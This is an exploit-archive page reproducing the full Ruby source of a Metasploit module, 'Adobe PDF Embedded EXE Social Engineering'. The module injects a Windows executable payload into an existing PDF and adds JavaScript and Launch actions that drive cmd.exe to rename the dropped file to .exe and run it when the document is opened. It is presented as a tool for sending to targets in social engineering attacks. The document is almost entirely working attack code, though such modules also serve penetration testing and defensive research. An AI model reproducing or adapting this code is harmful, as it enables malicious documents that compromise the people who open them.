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Adobe PDF Embedded EXE Social Engineering

Adobe PDF Embedded EXE Social Engineering
Posted Nov 26, 2009
Authored by Colin Ames | Site metasploit.com

This Metasploit module embeds a Metasploit payload into an existing PDF file. The resulting PDF can be sent to a target as part of a social engineering attack.

tags | exploit
SHA-256 | 09a56101a149879ad1e7dd5419aa9168cb66336439178af46431113ea67abec4

Adobe PDF Embedded EXE Social Engineering

Change Mirror Download
require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::PDF_Parse
include Msf::Exploit::FILEFORMAT


def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe PDF Embedded EXE Social Engineering',
'Description' => %q{
This module embeds a Metasploit payload into an existing PDF file. The
resulting PDF can be sent to a target as part of a social engineering attack.
},
'License' => MSF_LICENSE,
'Author' => [ 'Colin Ames <amesc[at]attackresearch.com>' ],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Adobe Reader v8.x, v9.x (Windows XP SP3 English)', { 'Ret' => '' } ]
],
'DefaultTarget' => 0))

register_options(
[
OptString.new('INFILENAME', [ false, 'The Input PDF filename.', 'msf.pdf']),
OptString.new('EXENAME', [ false, 'The Name of payload exe.', '']),
OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']),
OptString.new('OUTPUTPATH', [ false, 'The location to output the file.', './data/exploits/']),
], self.class)
end

def exploit

file_name = datastore['INFILENAME']
exe_name = datastore['EXENAME']

print_status("Reading in '#{file_name}'...")
stream = read_pdf()
print_status("Parsing '#{file_name}'...")
pdf_objects = parse_pdf(stream)
print_status("Parsing Successful.")
xref_trailers = pdf_objects[0]
trailers = pdf_objects[1]
startxrefs = pdf_objects[2]
root_obj = pdf_objects[3]


output = basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxrefs.last)

print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(output)
end


def ef_payload(pdf_name,payload_exe,obj_num)

if payload_exe.empty?
print_status("Using '#{datastore['PAYLOAD']}' as payload...")

payload_exe = Msf::Util::EXE.to_win32pe(framework,payload.encoded)
file_size = payload_exe.length
stream = Rex::Text.zlib_deflate(payload_exe)
md5 = Rex::Text.md5(stream)

else
print_status("Using '#{datastore['EXENAME']}' as payload...")

file_size = File.size(payload_exe)
stream = Rex::Text.zlib_deflate(IO.read(payload_exe))
md5 = Rex::Text.md5(File.read(payload_exe))

end

output = String.new()

output << "#{obj_num.to_i + 1} 0 obj\r<</UF(#{pdf_name}.pdf)/F(#{pdf_name}.pdf)/EF<</F #{obj_num.to_i + 2} 0 R>>/Desc(#{pdf_name})/Type/Filespec>>\rendobj\r"
output << "#{obj_num.to_i + 2} 0 obj\r<</Subtype/application#2Fpdf/Length #{stream.length + 3}/Filter/FlateDecode/DL #{file_size}/Params<</Size #{file_size}/CheckSum<#{md5.upcase}>>>>>stream\r#{stream}\r\nendstream\rendobj\r"


return output
end

def js_payload(pdf_name,obj_num)

output = String.new()
output << "#{obj_num.to_i + 3} 0 obj\r<</S/JavaScript/JS(this.exportDataObject({ cName: \"#{pdf_name}\", nLaunch: 0 });)/Type/Action>>\rendobj\r"
output << "#{obj_num.to_i + 4} 0 obj\r<</S/Launch/Type/Action/Win<</F(cmd.exe)/D(c:\\\\windows\\\\system32)/P(/Q /C (if exist \"%HOMEPATH%\\\\My Documents\\\\#{pdf_name}.pdf\" (cd \"%HOMEPATH%\\\\My Documents\"))&(if exist \"%HOMEPATH%\\\\Desktop\\\\#{pdf_name}.pdf\" (cd \"%HOMEPATH%\\\\Desktop\"))&(if exist \"%HOMEDRIVE%\\\\%HOMEPATH%\\\\My Documents\\\\#{pdf_name}.pdf\" (%HOMEDRIVE%&cd %HOMEPATH%& cd \"My Documents\"))&(if exist \"%HOMEDRIVE%\\\\%HOMEPATH%\\\\Desktop\\\\#{pdf_name}.pdf\" (%HOMEDRIVE%&cd %HOMEPATH%&cd Desktop))&&(ren #{pdf_name}.pdf #{pdf_name}.exe&start #{pdf_name}.exe))>>>>\rendobj\r"

return output

end


def basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxref)

file_name = file_name.split(/\//).pop.to_s

match = file_name.match(/(.+)\.pdf/)
if match
pdf_name = match[1]
end

catalog = parse_object(xref_trailers,root_obj,stream)


match = catalog.match(/Names (\d+ \d) R/m)
if match

names = parse_object(xref_trailers,match[1],stream)
match = names.match(/EmbeddedFiles (\d+ \d) R/m)
if match
embedded_files = parse_object(xref_trailers,match[1],stream)
new_embedded_files = embedded_files.gsub(/(\]>>)/m,"(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{trailers[0].fetch("Size")} 0 R" + '\1')
else
new_names = names.gsub(/(>>.*)/m,"/EmbeddedFiles #{trailers[0].fetch("Size")} 0 R" + '\1')
end

else
new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/Names #{trailers[0].fetch("Size")} 0 R")
end

if catalog.match(/OpenAction/m)

match = catalog.match(/OpenAction (\d+ \d) R/m)
if match
open_action = "#{match[1]} R"

if new_catalog
if new_embedded_files
new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
elsif new_names
new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
else
new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
end
else
if new_embedded_files
new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
elsif new_names
new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
else
new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
end

end
else
if new_catalog
new_catalog = new_catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
else
new_catalog = catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
end
end
else
if new_catalog
if new_embedded_files
new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
elsif new_names
new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
else
new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
end

else
if new_embedded_files
new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
elsif new_names
new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
else
new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
end
end
end



pages_obj = catalog.match(/Pages (\d+ \d) R/m)[1]
pages = parse_object(xref_trailers,pages_obj,stream)

page_obj = pages.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)[1]
page = parse_object(xref_trailers,page_obj,stream)

match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
while match

page_obj = match[1]
page = parse_object(xref_trailers,page_obj,stream)
match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
end

match = page.match(/AA<<\/O (\d+ \d) R/m)
if match
aa = parse_object(xref_trailers,match[1],stream)
end


new_pdf = String.new()
xrefs = String.new()


if new_embedded_files
pdf_payload = String.new()
num = trailers[0].fetch("Size").to_i - 1
pdf_payload << ef_payload(pdf_name,exe_name,num)
pdf_payload << js_payload(pdf_name,num)
new_pdf << stream << pdf_payload

xrefs = xref_create(new_pdf,stream.length,"*")

new_size = trailers[0].fetch("Size").to_i + 4

if aa
new_page = page.gsub(/(AA<<\/O )\d+ \d R(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 3} 0" + '\2')
else
new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 3} 0 R>>" + '\1')
end

new_pdf << new_catalog
xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")

new_pdf << new_page
xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")

new_pdf << new_embedded_files
xrefs << xref_create(new_pdf,(new_pdf.length - new_embedded_files.length), "1")

if trailers[0].has_key?("ID")
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
else
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
end

new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_embedded_files.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"

elsif new_names
pdf_payload = String.new()
num = trailers[0].fetch("Size").to_i
pdf_payload << "#{num} 0 obj\r<</Names[(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{num + 1} 0 R]>>\rendobj\r"
pdf_payload << ef_payload(pdf_name,exe_name,num)
pdf_payload << js_payload(pdf_name,num)
new_pdf << stream << pdf_payload

xrefs = xref_create(new_pdf,stream.length,"*")

new_size = trailers[0].fetch("Size").to_i + 5

if aa
new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 4} 0" + '\2')
else
new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 4} 0 R>>" + '\1')
end

new_pdf << new_catalog
xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")

new_pdf << new_page
xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")

new_pdf << new_names
xrefs << xref_create(new_pdf,(new_pdf.length - new_names.length), "1")

if trailers[0].has_key?("ID")
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
else
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
end

new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_names.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"


else
pdf_payload = String.new()
num = trailers[0].fetch("Size").to_i + 1
pdf_payload << "#{trailers[0].fetch("Size")} 0 obj\r<</EmbeddedFiles #{num} 0 R>>\rendobj\r"
pdf_payload << "#{num} 0 obj\r<</Names[(#{pdf_name})#{num + 1} 0 R]>>\rendobj\r"
pdf_payload << ef_payload(pdf_name,exe_name,num)
pdf_payload << js_payload(pdf_name,num)
new_pdf << stream << pdf_payload
xrefs = xref_create(new_pdf,stream.length,"*")

new_size = trailers[0].fetch("Size").to_i + 6

if aa
new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 5} 0" + '\2')
else
new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 5} 0 R>>" + '\1')
end

new_pdf << new_catalog
xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")

new_pdf << new_page
xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")

if trailers[0].has_key?("ID")
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
else
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
end

new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"


end


return new_pdf
end
end

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